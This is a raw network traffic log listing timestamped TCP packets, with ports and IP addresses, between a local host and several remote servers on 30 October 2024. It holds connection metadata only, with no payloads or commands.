Oct 30, 2024 15:59:42.790442944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790463924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790546894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790649891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790661097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790672064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790679932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790683985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790697098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790709019 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790738106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790878057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790889978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790899992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790910959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790927887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790931940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790940046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790949106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790951967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790963888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790968895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790976048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790996075 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791021109 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791169882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791182041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791193008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791198969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791209936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791220903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791233063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791249037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791249990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791261911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791270971 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791274071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791285038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791290998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791332006 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791456938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791469097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791479111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791496992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791501999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791517973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791549921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791577101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791589022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791599035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.791630030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.791640043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.877341986 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.877868891 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.878029108 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.878056049 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.878541946 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.878549099 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.878669024 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.878997087 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.879014969 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.879354000 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.879359961 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.880815983 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.880851030 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.881206036 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.881217957 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.904251099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904275894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904304981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904314995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904316902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904370070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904400110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904443979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904552937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904567003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904577971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904587984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904594898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904603004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904609919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904617071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904643059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904648066 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904666901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904669046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904687881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904690027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904696941 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904702902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904726028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904741049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904781103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904793024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904803991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904827118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904838085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904840946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904874086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904921055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904932976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904942989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904956102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904968023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904968023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.904978991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.904983997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905009031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905036926 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905067921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905080080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905090094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905101061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905113935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905113935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905141115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905154943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905167103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905239105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905250072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905260086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905267954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905267954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905272961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905284882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905292034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905297995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905322075 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905342102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905525923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905538082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905548096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905560017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905571938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905575991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905584097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905595064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905601978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905606031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905617952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905617952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905630112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905639887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905642033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905654907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905666113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905670881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905679941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905704975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905713081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905812025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905824900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905853033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905877113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.905952930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905970097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905981064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905992985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.905993938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906004906 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906004906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906017065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906024933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906028986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906039953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906049967 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906052113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906064987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906068087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906080961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906092882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906094074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906119108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906137943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906205893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906215906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906254053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906358004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906375885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906388998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906397104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906399965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906413078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906419992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906424999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906436920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906447887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906447887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906460047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906465054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906472921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906486034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906491041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906496048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906507969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906517029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906519890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906537056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906546116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906558990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906562090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906569958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906584978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906593084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906611919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906636953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906805038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906816959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906832933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906845093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906855106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906861067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906871080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906874895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906883955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.906893969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.906919956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907098055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907114029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907128096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907140017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907146931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907151937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907162905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907175064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907175064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907186985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907198906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907201052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907213926 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907216072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907231092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907242060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907269001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907344103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907356977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907366991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907380104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907387018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907391071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907396078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907403946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907414913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.907430887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.907455921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942539930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942559958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942639112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942639112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942713022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942747116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942758083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942765951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942779064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942785978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942791939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942806005 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942825079 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942841053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942867041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942910910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942943096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942959070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942971945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.942980051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.942996979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943005085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943016052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943017006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943030119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943039894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943042994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943058014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943082094 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943156958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943169117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943180084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943192005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943205118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943217039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943248987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943280935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943294048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943305969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943327904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943331957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943341970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943351030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943368912 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943372965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943387032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943387032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943409920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943424940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943434954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943447113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943458080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943470001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.943480015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.943505049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.967679024 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:42.967768908 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:42.967824936 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:42.970093966 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:42.970110893 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:43.009397984 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.009577036 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.009715080 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.009767056 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.009767056 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.009789944 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.009803057 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.013147116 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.013185024 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.013319016 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.013504028 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.013524055 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.019624949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.019685984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.019706011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.019803047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.019813061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.019833088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.019846916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.019860029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.019877911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.019880056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.019891024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.019921064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.021572113 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.023303986 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.023350954 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.023363113 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.023405075 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.023520947 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.023520947 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.023531914 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.023542881 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.026253939 CET	49822	443	192.168.2.6	13.107.246.45
